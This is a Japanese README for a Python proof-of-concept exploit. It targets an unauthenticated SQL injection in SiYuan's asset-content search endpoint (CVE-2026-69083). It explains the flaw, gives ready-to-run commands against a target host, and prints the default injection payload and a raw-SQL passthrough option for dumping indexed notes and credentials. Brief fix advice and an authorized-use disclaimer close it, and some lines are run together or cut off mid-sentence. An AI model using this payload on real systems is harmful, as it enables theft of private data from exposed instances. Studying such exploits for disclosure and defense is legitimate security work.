
SiYuan の asset-content 検索エンドポイントにおける未認証 SQL インジェクション (CVE-2026-69083) の Python PoC。REGEXP ブレイクアウトと生 SQL パススルーに対応し、インデックス化されたアセットと付随する SQLite データをダンプします。
SiYuan(Goベースのナレッジベースアプリ)のアセットコンテンツ検索エンドポイントにおける未認証SQLインジェクション。
POST /api/search/fullTextSearchAssetContent は、ユーザーが制御する query 値をエスケープなしでREGEXP句に直接連結して、生のSQL文を構築します(kernel/model/asset_content.go、assetContentFieldRegexp):
SELECT * FROM `asset_contents_fts_case_insensitive`
WHERE (name REGEXP '<query>' OR content REGEXP '<query>') AND ext IN <types>
query 内の一重引用符は文字列リテラルを抜け出します(CWE-89)。SiYuan がアクセス認証コードなし(Conf.AccessAuthCode == "")で展開されている場合、カーネル全体が呼び出し元を資格情報なしの管理者として扱うため、このインジェクションは完全に未認証となります。method:3 はREGEXPのブレイクアウトで、method:2 はさらに query を生のSQL文として渡します。
< 3.7.36806(accessAuthCodeが設定されていない場合は未認証)ATTACH DATABASE)— 例:オペレーターがノートにインデックスした資格情報のダンプPython 3 標準ライブラリのみ — 依存関係はありません。
# アセットコンテンツインデックスをダンプ(method 3 REGEXP break-out)
python3 exploit.py http://10.10.10.10:6806/
# キーワードに一致する行のみ
python3 exploit.py http://10.10.10.10:6806/ --grep password
# method 2 生SQLパススルー(7列 id,name,ext,path,size,updated,content を選択)
python3 exploit.py http://10.10.10.10:6806/ \
--sql "SELECT id,name,ext,path,size,updated,content FROM asset_contents_fts_case_insensitive"
デフォルトのペイロードは次のとおりです。
query = "zzqx') OR 1=1 -- "
zzqx') は (name REGEXP '...' グループを閉じます。OR 1=1 は WHERE 句を常に真にします。-- は行の残りをコメントアウトし、末尾の AND ext IN <types> も含みます。これは types が空の場合、構文エラーになります(SiYuan は AND ext IN の後に何もない状態で出力し、カーネルはSQLエラー時に静かに行を返しません)。その後、エンドポイントはアセットコンテンツインデックスのすべての行を返し、ツールは各行の content を表示します。
curl -s http://10.10.10.10:6806/system_stats # または http://10.10.10.10:6806/ を閲覧(ログインプロンプトなし)
ポート 6806 でアクセス認証コードなしで読み込まれる SiYuan インスタンスは悪用可能です。
... REGEXP ?)、method-2 の生SQLパスを管理者チェックの後ろに置きます。--accessAuthCode を付けてSiYuanを実行してください。未認証で公開しないでください。アクセス認証コードがない場合、カーネルAPI全体が管理者に開放されます。認定されたセキュリティテストおよび教育目的のみに使用してください。所有しているシステム、または明示的なテスト許可を得たシステムに対してのみ使用してください。